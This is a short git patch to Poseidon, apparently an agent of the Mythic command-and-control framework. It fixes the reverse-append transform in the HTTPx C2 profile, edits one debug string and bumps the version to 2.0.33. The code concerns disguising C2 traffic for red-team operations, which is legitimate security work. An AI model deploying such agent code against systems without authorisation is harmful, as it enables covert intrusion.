From a34d8741391b8b75a777287640187bde78fdbe1a Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Fri, 29 Mar 2024 17:42:00 -0500 Subject: [PATCH] fix reverse append --- Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD | 6 ++++++ .../poseidon/poseidon/agent_code/pkg/profiles/httpx.go | 4 ++-- Payload_Type/poseidon/poseidon/agentfunctions/builder.go | 2 +- agent_capabilities.json | 2 +- 4 files changed, 10 insertions(+), 4 deletions(-) diff --git a/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD b/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD index 1b1b3f9..d6c32c4 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD +++ b/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 2.0.33 - 2024-03-29 + +### Changed + +- fix reverse append function + ## 2.0.32 - 2024-03-29 ### Changed diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/httpx.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/httpx.go index 57fbf18..521b352 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/httpx.go +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/httpx.go @@ -559,7 +559,7 @@ func (c *C2HTTPx) transformAppendReverse(prev []byte, value string) ([]byte, err if len(value) > len(prev) { return nil, errors.New("append value is longer that full value") } - return prev[:len(value)], nil + return prev[:len(prev)-len(value)], nil } func (c *C2HTTPx) transformXor(prev []byte, value string) ([]byte, error) { @@ -734,7 +734,7 @@ func (c *C2HTTPx) CreateDynamicMessage(content []byte, isGetTaskingRequest bool) } var bodyBuffer *bytes.Buffer var bodyBytes []byte - utils.PrintDebug(fmt.Sprintf("sending message: %s", string(content))) + utils.PrintDebug(fmt.Sprintf("original message message: %s", string(content))) agentMessageBytes, err := c.performTransforms(content, variation) if err != nil { utils.PrintDebug(fmt.Sprintf("Failed to create message: %s", err.Error())) diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go index 8689635..124a8c3 100644 --- a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go +++ b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go @@ -19,7 +19,7 @@ import ( "strings" ) -const version = "2.0.32" +const version = "2.0.33" var payloadDefinition = agentstructs.PayloadType{ Name: "poseidon", diff --git a/agent_capabilities.json b/agent_capabilities.json index a6cd13c..c1d4ace 100644 --- a/agent_capabilities.json +++ b/agent_capabilities.json @@ -10,6 +10,6 @@ "architectures": ["x86_64", "arm_64"], "c2": ["http", "websocket", "dynamichttp", "poseidon_tcp"], "mythic_version": "3.2.20-rc7", - "agent_version": "2.0.32", + "agent_version": "2.0.33", "supported_wrappers": [] } \ No newline at end of file